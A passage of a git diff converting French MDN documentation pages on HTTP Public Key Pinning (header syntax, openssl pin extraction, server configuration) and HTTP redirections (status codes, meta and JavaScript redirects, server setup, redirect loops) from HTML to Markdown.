 

- -

Exemple d'entête HPKP

- -
Public-Key-Pins: pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; max-age=5184000; includeSubdomains; report-uri="https://www.example.net/hpkp-report"
- -

Dans cet exemple, pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs=" épingle la clé publique utilisée en production par le serveur. La deuxième déclaration d'épinglage pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE=" représente la clé de sauvegarde. max-age=5184000 dit au client de mémoriser cette information pendant deux mois, ce qui est un temps raisonnable d'après la RFC. Cet épinglage s'applique aussi à tous les sous-domaines, car includeSubdomains est présent. Enfin, report-uri="https://www.example.net/hpkp-report" indique où envoyer les rapports d'erreurs de validation.

- -

 

- -

Mettre en place le header HPKP sur votre serveur web

- -

Les étapes concrètes nécessaires pour délivrer l'en-tête HPKP dépendent du serveur web que vous utilisez.

- -
-

Note : Ces exemples utilisent un a max-age de deux mois et incluent aussi tous les sous-domaines. Il est conseillé de vérifier que cela convient à votre serveur.

-
- -

Inclure une ligne similaire à votre configuration activera HPKP, en remplaçant les valeurs en pointillé des lignes pin-sha256="..." :

- -

Apache

- -
Header always set Public-Key-Pins "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains"
-
- -

Note : Cela demande le module mod_headers activé.

- -

Nginx

- -
add_header Public-Key-Pins 'pin-sha256="base64+primary=="; pin-sha256="base64+backup=="; max-age=5184000; includeSubDomains';
- -

Note : Cela demande le module ngx_http_headers_module.

- -

Lighttpd

- -
setenv.add-response-header  = ( "Public-Key-Pins" => "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains")
- -

Note: Cela demande le module mod_setenv chargé, ce qui peut être fait en ajoutant la ligne suivante (s'il n'est pas déjà chargé) :

- -
server.modules += ( "mod_setenv" )
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationDescription
{{RFC("7469", "Public-Key-Pins", "2.1")}}Extension de l'épinglage des clés publiques pour HTTP
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Public-Key-Pins")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/public_key_pinning/index.md b/files/fr/web/http/public_key_pinning/index.md new file mode 100644 index 0000000000..b378e93471 --- /dev/null +++ b/files/fr/web/http/public_key_pinning/index.md @@ -0,0 +1,137 @@ +--- +title: Public Key Pinning +slug: Web/HTTP/Public_Key_Pinning +tags: + - HTTPS + - Référence(2) + - Sécurité +translation_of: Web/HTTP/Public_Key_Pinning +original_slug: Web/Security/Public_Key_Pinning +--- +

L'extention Public Key Pinning pour HTTP (HPKP) est une fonctionnalité de sécurité qui dit au client web d'associer une clé publique cryptographique avec un certain serveur web pour éviter les attaques MITM avec des certificats contrefaits.

+ +
+

Note : La Public Key Pinning décrite ici est différente du limité preload list based key pinning introduit dans Firefox 32.

+
+ +

Pour s'assurer de l’authenticité de la clé publique du serveur utilisé dans une session TLS, cette clé publique est enveloppée dans un certificat X.509 qui est généralement signé par une autorité de certifications (CA, pour Certificate Authority). Les clients web tels que les navigateurs font confiance à beaucoup de ces autorités de certifications, et chacune d'entre elles peut créer des certificats pour des domaines arbitraires. Si un attaquant est capable de compromettre une seule de ces CA, il peut pratiquer des attaques {{Glossary("MitM")}} sur diverses connections TLS. HPKP peut contourner cette menace pour le protocole HTTPS en disant au client web quelles clés publiques appartiennent à un certain serveur web.

+ +

HPKP est une technique qui s'appuie sur la confiance au premier accès (TOFU, Trust on First Use). La première fois un serveur web dit au client en utilisant l'en-tête HTTP HPKP quelles clés publiques lui appartiennent, le client sauvegarde cette information pour une période de temps donnée. Quand le client visite le serveur à nouveau, il s'attend à un certificat contenant une clé publique dont l'empreinte est sauvegardée. Si le serveur présente une clé publique inconnue, le client doit présenter un avertissement à l'utilisateur.

+ +
+

Note : Firefox (et Chrome) désactivent la vérification de l'épinglage lorsqu'un site épinglé présentent une chaine de certificats qui se termine par un certificat racine installé par l'utilisateur (et non un certificat racine de base).

+
+ +

Activer HPKP

+ +

Activer cette fonctionnalité pour votre site est simple : il faut juste retourner l'en tête HTTP Public-Key-Pins HTTP quand le site est accédé via HTTPS :

+ +
Public-Key-Pins: pin-sha256="base64=="; max-age=expireTime [; includeSubdomains][; report-uri="reportURI"]
+
+ +
+
pin-sha256
+
La chaîne de caractère entre guillemets est l’empreinte du Subject Public Key Information (SPKI) encodé en base 64. Il est possible de spécifier plusieurs épinglage (pin) pour différentes clé publiques. Certains navigateurs pourraient autoriser dans le future d'autres algorithmes de hachage que SHA-256. Voir plus bas comment extraire cette information depuis le fichier d'un certificat ou d'une clé.
+
max-age
+
Le temps, en seconde, pendant laquelle le navigateur doit mémoriser que le site ne doit être visité qu'avec l'une des clés épinglées.
+
includeSubdomains {{ optional_inline() }}
+
Si ce paramètre optionnel est spécifié, cette règle s'applique aussi a tous les sous-domaines du domaine actuel.
+
report-uri {{ optional_inline() }}
+
Si ce paramètre optionnel est spécifié, les échecs de validation sont notifiés à l'URL donnée.
+
+ +
+

Note : La spécification actuelle impose d'inclure au minimum une seconde clé dite de sauvegarde, qui n'est pas encore utilisée en production. Cela permet de changer de clé publique sans bloquer l'accès aux clients qui auraient déjà noté les clés épinglés. C'est important par exemple dans le cas où la clé actuellement utilisées serait compromise, ce qui forcerait l'utilisation d'une clé différente (la clé de sauvegarde dans ce cas).

+
+ +
+

Note : Firefox n'implémente pas encore les rapports de violation d'épinglage. Chrome les implémente à partie de la version 46.

+ + +
+ +

Extraire la clé publique encodé en Base64

+ +

En premier, vous devez extraire la clé publique depuis votre fichier de certificats ou de clés puis l'encoder en base 64.

+ +

Les commandes suivantes vous aideront à extraire la clé publique et à l'encoder en base 64 depuis le fichier d'une clé, d'un certificat ou d'un CSR (Certificate Signing Request).

+ +
openssl rsa -in my-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64
+ +
openssl req -in my-signing-request.csr -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
+ +
openssl x509 -in my-certificate.crt -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
+ +

 

+ +

Exemple d'entête HPKP

+ +
Public-Key-Pins: pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; max-age=5184000; includeSubdomains; report-uri="https://www.example.net/hpkp-report"
+ +

Dans cet exemple, pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs=" épingle la clé publique utilisée en production par le serveur. La deuxième déclaration d'épinglage pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE=" représente la clé de sauvegarde. max-age=5184000 dit au client de mémoriser cette information pendant deux mois, ce qui est un temps raisonnable d'après la RFC. Cet épinglage s'applique aussi à tous les sous-domaines, car includeSubdomains est présent. Enfin, report-uri="https://www.example.net/hpkp-report" indique où envoyer les rapports d'erreurs de validation.

+ +

 

+ +

Mettre en place le header HPKP sur votre serveur web

+ +

Les étapes concrètes nécessaires pour délivrer l'en-tête HPKP dépendent du serveur web que vous utilisez.

+ +
+

Note : Ces exemples utilisent un a max-age de deux mois et incluent aussi tous les sous-domaines. Il est conseillé de vérifier que cela convient à votre serveur.

+
+ +

Inclure une ligne similaire à votre configuration activera HPKP, en remplaçant les valeurs en pointillé des lignes pin-sha256="..." :

+ +

Apache

+ +
Header always set Public-Key-Pins "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains"
+
+ +

Note : Cela demande le module mod_headers activé.

+ +

Nginx

+ +
add_header Public-Key-Pins 'pin-sha256="base64+primary=="; pin-sha256="base64+backup=="; max-age=5184000; includeSubDomains';
+ +

Note : Cela demande le module ngx_http_headers_module.

+ +

Lighttpd

+ +
setenv.add-response-header  = ( "Public-Key-Pins" => "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains")
+ +

Note: Cela demande le module mod_setenv chargé, ce qui peut être fait en ajoutant la ligne suivante (s'il n'est pas déjà chargé) :

+ +
server.modules += ( "mod_setenv" )
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationDescription
{{RFC("7469", "Public-Key-Pins", "2.1")}}Extension de l'épinglage des clés publiques pour HTTP
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Public-Key-Pins")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/redirections/index.html b/files/fr/web/http/redirections/index.html deleted file mode 100644 index 88118a2292..0000000000 --- a/files/fr/web/http/redirections/index.html +++ /dev/null @@ -1,261 +0,0 @@ ---- -title: Redirections en HTTP -slug: Web/HTTP/Redirections -tags: - - Guide - - HTTP - - redirections -translation_of: Web/HTTP/Redirections ---- -
{{HTTPSidebar}}
- -
La redirection d'URL est une technique pour donner à une page, un formulaire ou une application Web entière, plus d'une adresse. HTTP fournit un type particulier de réponses, les redirections HTTP, pour effectuer cette opération utilisée pour de nombreux objectifs : redirection temporaire pendant la maintenance du site, redirection permanente pour que les liens externes continuent de fonctionner après un changement d'architecture du site, pages de progression lors du téléchargement d'un fichier, etc.
- -

Principe

- -

En HTTP, une redirection est déclenchée par le serveur en envoyant des réponses spéciales à une requête : les redirections. Les redirections HTTP sont des réponses avec un code d'état de 3xx. Un navigateur, lorsqu'il reçoit une réponse de redirection, utilise la nouvelle URL fournie et la charge immédiatement : la plupart du temps, la redirection est transparente pour l'utilisateur, si ce n'est un petit impact de performance.

- -

- -

Il existe plusieurs types de redirections et elles se répartissent en trois catégories : les redirections permanentes, les temporaires et les spéciales.

- -

Redirections permanentes

- -

Ces redirections sont faites pour durer éternellement. Elles impliquent que l'URL d'origine ne doit plus être utilisée et que la nouvelle URL est préférée. Les robots des moteurs de recherche déclenchent une mise à jour de l'URL associée à la ressource dans leurs index.

- - - - - - - - - - - - - - - - - - - - - - - - -
CodeTexteTraitement des méthodesCas d'utilisation typique
301Moved PermanentlyRequêtes {{HTTPMethod("GET")}} inchangées.
- Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}.		Réorganisation d'un site Web.
308Permanent RedirectMéthode et corps de la requête inchangés.Réorganisation d'un site Web, avec des liens/opérations non-GET.
- -

La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. 308 a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que GET.

- -

Redirections temporaires

- -

Parfois, la ressource demandée ne peut pas être accédée à partir de son emplacement standard, mais elle peut l'être à partir d'un autre endroit. Dans ce cas, une redirection temporaire peut être utilisée. Les robots des moteurs de recherche ne mémorisent pas le nouveau lien temporaire. Les redirections temporaires sont également utilisées lors de la création, de la mise à jour et de la suppression de ressources pour présenter des pages de progression temporaires.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CodeTexteTraitement des méthodesCas d'utilisation typique
302FoundRequêtes {{HTTPMethod("GET")}} inchangées.
- Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}.		La page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens.
303See OtherRequêtes {{HTTPMethod("GET")}} inchangées.
- Les autres sont changées en GET (le corps est perdu).		Utilisé pour rediriger après un {{HTTPMethod("PUT")}} ou un {{HTTPMethod("POST")}} pour empêcher un rafraîchissement de la page qui redéclencherait l'opération.
307Temporary RedirectMéthodes et corps inchangésLa page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens. Mieux que 302 lorsque des liens/opérations non-GET sont disponibles sur le site.
- -

La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. 307 a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que GET

- -

Redirections spéciales

- -

En plus de ces redirections habituelles, il existe deux redirections spécifiques. Le {{HTTPStatus("304")}} (Not Modified) redirige une page vers la copie mise en cache localement (qui était obsolète), et le {{HTTPStatus("300")}} (Multiple Choice) est une redirection manuelle : le corps, présenté par le navigateur comme une page Web, liste les redirections possibles et l'utilisateur clique sur une pour la sélectionner.

- - - - - - - - - - - - - - - - - - - - - -
CodeTexteCas d'utilisation typique
300Multiple ChoicePas beaucoup : les choix sont listés dans une page HTML dans le corps du texte. Pourrait être servi avec un {{HTTPStatus("200")}} OK status.
304Not ModifiedRafraîchissement du cache : ceci indique que la valeur dans le cache est encore correcte et peut être utilisée.
- -

Autre façon de spécifier les redirections

- -

Les redirections HTTP ne sont pas les seuls moyens de définir des redirections. Il existe deux autres méthodes: les redirections HTML en utilisant l'élément {{HTMLElement("meta")}}, et les redirections JavaScript en utilisant le DOM.

- -

Redirections HTML

- -

Les redirections HTTP sont le moyen privilégié de créer des redirections, mais parfois le développeur Web n'a pas le contrôle du serveur ou ne peut pas le configurer. Pour ces cas spécifiques, les développeurs Web peuvent créer une page HTML avec un élément {{HTMLElement("meta")}} et son attribut {{htmlattrxref("http-equiv", "meta")}} avec la valeur refresh, positionné dans le {{HTMLElement("head")}} de la page. Lors de l'affichage de la page, le navigateur trouvera cet élément et ira à la page indiquée.

- -
<head>
-  <meta http-equiv="refresh" content="0; URL=http://www.example.com/" />
-</head>
-
- -

L'attribut {{htmlattrxref("content")}} commence avec un nombre indiquant combien de secondes le navigateur doit attendre avant de rediriger vers l'URL fournie. Toujours le mettre à 0, pour une meilleure accessibilité.

- -

Bien entendu, cette méthode ne fonctionne qu'avec des pages HTML (ou similaires) et ne peut être utilisée pour des images ou tout autre type de contenu.

- -
-

Note : Ces redirections cassent le bouton de retour dans un navigateur : vous pouvez revenir à une page avec cet en-tête mais mais vous serez de nouveau instantanément rediriger.

-
- -

Redirections JavaScript

- -

Les redirections en JavaScript se créent en définissant une valeur pour la propriété {{domxref("window.location")}} et la nouvelle page est alors chargée.

- -
window.location = "http://www.example.com/";
- -

Comme les redirections HTML, cela ne fonctionne pas sur toutes les ressources, et évidemment, cela ne marchera que pour les clients qui exécutent du JavaScript. D'un autre côté, il y a plus de possibilités car vous ne pouvez déclencher la redirection que si certaines conditions sont remplies, par exemple.

- -

Ordre de priorité

- -

Avec trois possibilités de redirections d'URL, plusieurs méthodes peuvent être spécifiées en même temps, mais laquelle est appliquée en premier ? L'ordre de priorité est le suivant:

- -
    -
  1. Les redirections HTTP sont toujours exécutées en premier, alors même que la page n'est pas transmise, et ni même lue.
    2. -
  2. Les redirections HTML ({{HTMLElement("meta")}}) sont exécutées are executed s'il n'y avait pas de redirections HTTP.
    3. -
  3. Les redirections JavaScript sont utilisées en dernier recours, et uniquement si JavaScript est activé côté client.
    4. -
- -

Dans la mesure du possible, utilisez des redirections HTTP, et n'ajoutez pas d'élément {{HTMLElement("meta")}} de redirection. Si quelqu'un change les redirections HTTP et oublie de changer les redirections HTML, les redirections ne seront plus identiques, ce qui pourrait causer une boucle infinie ou d'autres cauchemars.

- -

Cas d'utilisation

- -

Il existe de nombreux cas d'utilisation pour les redirections, mais comme les performances sont affectées par chaque redirection, leur utilisation doit être réduite au minimum.

- -

Alias de domaine

- -

Idéalement, il n'y a qu'un seul emplacement, et donc qu'une seule URL pour une seule ressource. Mais il existe plein de raisons de vouloir des noms alternatifs pour une même ressource (plusieurs domaines, comme avec et sans le préfixe www ou des URLs plus courtes et faciles à retenir, ....). Dans ces cas, plutôt que de dupliquer la ressource, il est utile d'utiliser une redirection vers la vraie URL (canonique).

- -

Un alias de domaine peut être fait pour plusieurs raisons:

- - - -

Maintenir les liens en vie

- -

Lorsque vous restructurez des sites Web, les URL des ressources changent. Même si vous pouvez mettre à jour les liens internes de votre site Web pour qu'ils correspondent au nouveau schéma de nommage, vous n'avez aucun contrôle sur les URL utilisées par les ressources externes. Vous ne voulez pas briser ces liens, car ils vous apportent des utilisateurs précieux (et aident votre référencement), donc vous configurez des redirections depuis les anciennes URL vers les nouvelles.

- -
-

Note : Même si cette technique fonctionne également pour les liens internes, vous devriez éviter d'avoir des redirections internes. Une redirection a un coût significatif sur les performances (car une requête HTTP supplémentaire est faite) et si vous pouvez l'éviter en corrigeant les liens internes, vous devez corriger ces liens.

-
- -

Réponses temporaires aux requêtes non sécurisées

- -

Les requêtes {{Glossary("safe", "Unsafe")}} modifient l'état du serveur et l'utilisateur ne devrait pas les rejouer par inadvertance. Typiquement, vous ne voulez pas que vos utilisateurs renvoient des requêtes {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} ou {{HTTPMethod("DELETE")}}. Si vous ne vous contentez que d'envoyer la réponse à la suite de cette requête, une simple clic sur le bouton de rechargement (éventuellement après un message de confirmation), renvoie la demande.

- -

Dans ce cas, le serveur peut renvoyer une réponse {{HTTPStatus("303")}} (See Other) qui contiendra les bonnes informations, mais si le bouton de rechargement est pressé, seule cette page est réaffichée, sans rejouer les demandes non sécurisées.

- -

Réponses temporaires aux longues requêtes

- -

Certaines requêtes peuvent nécessiter plus de temps sur le serveur comme parfois des requêtes {{HTTPHeader("DELETE")}} qui sont planifiés pour un traitement ultérieur. Dans ce cas, la réponse est un {{HTTPStatus("303")}} (See Other) qui renvoie à une page indiquant que l'action a été programmée, et informe éventuellement de l'avancement de l'action, ou permet de l'annuler.

- -

Configuration des redirections dans les serveurs les plus courants

- -

Apache

- -

Les redirections peuvent être définies soit dans le fichier de configuration du serveur, soit dans le fichier .htaccess de chaque répertoire.

- -

Le module mod_alias a des directives Redirect et RedirectMatch qui définissent une réponse {{HTTPStatus("302")}} (par défaut):

- -
<VirtualHost *:80>
-	ServerName example.com
-	Redirect / http://www.example.com
-</VirtualHost>
-
- -

L'URL http://example.com/ sera redirigée vers http://www.example.com/, ainsi que les fichiers ou répertoires qui s'y trouvent (http://example.com/index.html sera redirigée vers http://www.example.com/index.html)

- -

RedirectMatch fait la même chose mais prend une expression régulière pour définir une liste d'URLs concernées:

- -
RedirectMatch ^/images/(.*)$ http://images.example.com/$1
- -

Tous les documents dans le répertoire images/ seront redirigés vers un autre domaine.

- -

Si vous ne souhaitez pas configurer une redirection temporaire, un paramètre supplémentaire (soit le code d'état HTTP à utiliser, soit le mot clé permanent) peut être utilisé pour configurer un autre type de redirection:

- -
Redirect permanent / http://www.example.com
-Redirect 301 / http://www.example.com
-
- -

Le module mod_rewrite peut également être utilisé pour créer des redirections. Il est plus flexible, mais un peu plus complexe à utiliser.

- -

Nginx

- -

Dans Nginx, vous créez un bloc server spécifique pour le contenu que vous voulez rediriger:

- -
server {
-	listen 80;
-	server_name example.com;
-	return 301 $scheme://www.example.com$request_uri;
-}
- -

Pour appliquer une redirection pour un dossier ou un sous-ensemble de pages uniquement, utilisez la directive rewrite:

- -
rewrite ^/images/(.*)$ http://images.example.com/$1 redirect;
-rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
-
- -

IIS

- -

Dans IIS, vous devez utiliser l'élément <httpRedirect> pour configurer les redirections.

- -

Boucles de redirection

- -

Les boucles de redirection se produisent lorsque lorsque les redirections se succèdent en suivant celle déjà effectuée. En d'autres termes, il y a une boucle qui ne terminera jamais et aucune page ne sera finalement trouvée.

- -

La plupart du temps, il s'agit d'un problème de serveur, et si le serveur ne peut pas le détecter, il renvoie le message {{HTTPStatus("500")}} Internal Server Error. Si vous rencontrez une telle erreur peu après avoir modifié une configuration de serveur, il s'agit probablement d'une boucle de redirection.

- -

Parfois, le serveur ne le détecte pas : une boucle de redirection peut s'étendre sur plusieurs serveurs qui n'ont pas une vue globale de ce qui se passe. Dans ce cas, les navigateurs le détecteront et afficheront un message d'erreur. Firefox affichera:

- -
Firefox a détecté que le serveur redirige la demande pour cette adresse d'une manière qui n'aboutira pas.
-
- -

tandis que Chrome affichera:

- -
Cette page Web présente une boucle de redirection
- -

Dans les deux cas, l'utilisateur ne peut pas faire grand-chose (à moins qu'une corruption ne se produise de son côté, comme une inadéquation du cache ou des cookies).

- -

Il est important d'éviter les boucles de redirection car elles perturbent complètement l'expérience utilisateur.

diff --git a/files/fr/web/http/redirections/index.md b/files/fr/web/http/redirections/index.md new file mode 100644 index 0000000000..88118a2292 --- /dev/null +++ b/files/fr/web/http/redirections/index.md @@ -0,0 +1,261 @@ +--- +title: Redirections en HTTP +slug: Web/HTTP/Redirections +tags: + - Guide + - HTTP + - redirections +translation_of: Web/HTTP/Redirections +--- +
{{HTTPSidebar}}
+ +
La redirection d'URL est une technique pour donner à une page, un formulaire ou une application Web entière, plus d'une adresse. HTTP fournit un type particulier de réponses, les redirections HTTP, pour effectuer cette opération utilisée pour de nombreux objectifs : redirection temporaire pendant la maintenance du site, redirection permanente pour que les liens externes continuent de fonctionner après un changement d'architecture du site, pages de progression lors du téléchargement d'un fichier, etc.
+ +

Principe

+ +

En HTTP, une redirection est déclenchée par le serveur en envoyant des réponses spéciales à une requête : les redirections. Les redirections HTTP sont des réponses avec un code d'état de 3xx. Un navigateur, lorsqu'il reçoit une réponse de redirection, utilise la nouvelle URL fournie et la charge immédiatement : la plupart du temps, la redirection est transparente pour l'utilisateur, si ce n'est un petit impact de performance.

+ +

+ +

Il existe plusieurs types de redirections et elles se répartissent en trois catégories : les redirections permanentes, les temporaires et les spéciales.

+ +

Redirections permanentes

+ +

Ces redirections sont faites pour durer éternellement. Elles impliquent que l'URL d'origine ne doit plus être utilisée et que la nouvelle URL est préférée. Les robots des moteurs de recherche déclenchent une mise à jour de l'URL associée à la ressource dans leurs index.

+ + + + + + + + + + + + + + + + + + + + + + + + +
CodeTexteTraitement des méthodesCas d'utilisation typique
301Moved PermanentlyRequêtes {{HTTPMethod("GET")}} inchangées.
+ Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}.		Réorganisation d'un site Web.
308Permanent RedirectMéthode et corps de la requête inchangés.Réorganisation d'un site Web, avec des liens/opérations non-GET.
+ +

La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. 308 a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que GET.

+ +

Redirections temporaires

+ +

Parfois, la ressource demandée ne peut pas être accédée à partir de son emplacement standard, mais elle peut l'être à partir d'un autre endroit. Dans ce cas, une redirection temporaire peut être utilisée. Les robots des moteurs de recherche ne mémorisent pas le nouveau lien temporaire. Les redirections temporaires sont également utilisées lors de la création, de la mise à jour et de la suppression de ressources pour présenter des pages de progression temporaires.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CodeTexteTraitement des méthodesCas d'utilisation typique
302FoundRequêtes {{HTTPMethod("GET")}} inchangées.
+ Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}.		La page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens.
303See OtherRequêtes {{HTTPMethod("GET")}} inchangées.
+ Les autres sont changées en GET (le corps est perdu).		Utilisé pour rediriger après un {{HTTPMethod("PUT")}} ou un {{HTTPMethod("POST")}} pour empêcher un rafraîchissement de la page qui redéclencherait l'opération.
307Temporary RedirectMéthodes et corps inchangésLa page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens. Mieux que 302 lorsque des liens/opérations non-GET sont disponibles sur le site.
+ +

La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. 307 a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que GET

+ +

Redirections spéciales

+ +

En plus de ces redirections habituelles, il existe deux redirections spécifiques. Le {{HTTPStatus("304")}} (Not Modified) redirige une page vers la copie mise en cache localement (qui était obsolète), et le {{HTTPStatus("300")}} (Multiple Choice) est une redirection manuelle : le corps, présenté par le navigateur comme une page Web, liste les redirections possibles et l'utilisateur clique sur une pour la sélectionner.

+ + + + + + + + + + + + + + + + + + + + + +
CodeTexteCas d'utilisation typique
300Multiple ChoicePas beaucoup : les choix sont listés dans une page HTML dans le corps du texte. Pourrait être servi avec un {{HTTPStatus("200")}} OK status.
304Not ModifiedRafraîchissement du cache : ceci indique que la valeur dans le cache est encore correcte et peut être utilisée.
+ +

Autre façon de spécifier les redirections

+ +

Les redirections HTTP ne sont pas les seuls moyens de définir des redirections. Il existe deux autres méthodes: les redirections HTML en utilisant l'élément {{HTMLElement("meta")}}, et les redirections JavaScript en utilisant le DOM.

+ +

Redirections HTML

+ +

Les redirections HTTP sont le moyen privilégié de créer des redirections, mais parfois le développeur Web n'a pas le contrôle du serveur ou ne peut pas le configurer. Pour ces cas spécifiques, les développeurs Web peuvent créer une page HTML avec un élément {{HTMLElement("meta")}} et son attribut {{htmlattrxref("http-equiv", "meta")}} avec la valeur refresh, positionné dans le {{HTMLElement("head")}} de la page. Lors de l'affichage de la page, le navigateur trouvera cet élément et ira à la page indiquée.

+ +
<head>
+  <meta http-equiv="refresh" content="0; URL=http://www.example.com/" />
+</head>
+
+ +

L'attribut {{htmlattrxref("content")}} commence avec un nombre indiquant combien de secondes le navigateur doit attendre avant de rediriger vers l'URL fournie. Toujours le mettre à 0, pour une meilleure accessibilité.

+ +

Bien entendu, cette méthode ne fonctionne qu'avec des pages HTML (ou similaires) et ne peut être utilisée pour des images ou tout autre type de contenu.

+ +
+

Note : Ces redirections cassent le bouton de retour dans un navigateur : vous pouvez revenir à une page avec cet en-tête mais mais vous serez de nouveau instantanément rediriger.

+
+ +

Redirections JavaScript

+ +

Les redirections en JavaScript se créent en définissant une valeur pour la propriété {{domxref("window.location")}} et la nouvelle page est alors chargée.

+ +
window.location = "http://www.example.com/";
+ +

Comme les redirections HTML, cela ne fonctionne pas sur toutes les ressources, et évidemment, cela ne marchera que pour les clients qui exécutent du JavaScript. D'un autre côté, il y a plus de possibilités car vous ne pouvez déclencher la redirection que si certaines conditions sont remplies, par exemple.

+ +

Ordre de priorité

+ +

Avec trois possibilités de redirections d'URL, plusieurs méthodes peuvent être spécifiées en même temps, mais laquelle est appliquée en premier ? L'ordre de priorité est le suivant:

+ +
    +
  1. Les redirections HTTP sont toujours exécutées en premier, alors même que la page n'est pas transmise, et ni même lue.
    2. +
  2. Les redirections HTML ({{HTMLElement("meta")}}) sont exécutées are executed s'il n'y avait pas de redirections HTTP.
    3. +
  3. Les redirections JavaScript sont utilisées en dernier recours, et uniquement si JavaScript est activé côté client.
    4. +
+ +

Dans la mesure du possible, utilisez des redirections HTTP, et n'ajoutez pas d'élément {{HTMLElement("meta")}} de redirection. Si quelqu'un change les redirections HTTP et oublie de changer les redirections HTML, les redirections ne seront plus identiques, ce qui pourrait causer une boucle infinie ou d'autres cauchemars.

+ +

Cas d'utilisation

+ +

Il existe de nombreux cas d'utilisation pour les redirections, mais comme les performances sont affectées par chaque redirection, leur utilisation doit être réduite au minimum.

+ +

Alias de domaine

+ +

Idéalement, il n'y a qu'un seul emplacement, et donc qu'une seule URL pour une seule ressource. Mais il existe plein de raisons de vouloir des noms alternatifs pour une même ressource (plusieurs domaines, comme avec et sans le préfixe www ou des URLs plus courtes et faciles à retenir, ....). Dans ces cas, plutôt que de dupliquer la ressource, il est utile d'utiliser une redirection vers la vraie URL (canonique).

+ +

Un alias de domaine peut être fait pour plusieurs raisons:

+ + + +

Maintenir les liens en vie

+ +

Lorsque vous restructurez des sites Web, les URL des ressources changent. Même si vous pouvez mettre à jour les liens internes de votre site Web pour qu'ils correspondent au nouveau schéma de nommage, vous n'avez aucun contrôle sur les URL utilisées par les ressources externes. Vous ne voulez pas briser ces liens, car ils vous apportent des utilisateurs précieux (et aident votre référencement), donc vous configurez des redirections depuis les anciennes URL vers les nouvelles.

+ +
+

Note : Même si cette technique fonctionne également pour les liens internes, vous devriez éviter d'avoir des redirections internes. Une redirection a un coût significatif sur les performances (car une requête HTTP supplémentaire est faite) et si vous pouvez l'éviter en corrigeant les liens internes, vous devez corriger ces liens.

+
+ +

Réponses temporaires aux requêtes non sécurisées

+ +

Les requêtes {{Glossary("safe", "Unsafe")}} modifient l'état du serveur et l'utilisateur ne devrait pas les rejouer par inadvertance. Typiquement, vous ne voulez pas que vos utilisateurs renvoient des requêtes {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} ou {{HTTPMethod("DELETE")}}. Si vous ne vous contentez que d'envoyer la réponse à la suite de cette requête, une simple clic sur le bouton de rechargement (éventuellement après un message de confirmation), renvoie la demande.

+ +

Dans ce cas, le serveur peut renvoyer une réponse {{HTTPStatus("303")}} (See Other) qui contiendra les bonnes informations, mais si le bouton de rechargement est pressé, seule cette page est réaffichée, sans rejouer les demandes non sécurisées.

+ +

Réponses temporaires aux longues requêtes

+ +

Certaines requêtes peuvent nécessiter plus de temps sur le serveur comme parfois des requêtes {{HTTPHeader("DELETE")}} qui sont planifiés pour un traitement ultérieur. Dans ce cas, la réponse est un {{HTTPStatus("303")}} (See Other) qui renvoie à une page indiquant que l'action a été programmée, et informe éventuellement de l'avancement de l'action, ou permet de l'annuler.

+ +

Configuration des redirections dans les serveurs les plus courants

+ +

Apache

+ +

Les redirections peuvent être définies soit dans le fichier de configuration du serveur, soit dans le fichier .htaccess de chaque répertoire.

+ +

Le module mod_alias a des directives Redirect et RedirectMatch qui définissent une réponse {{HTTPStatus("302")}} (par défaut):

+ +
<VirtualHost *:80>
+	ServerName example.com
+	Redirect / http://www.example.com
+</VirtualHost>
+
+ +

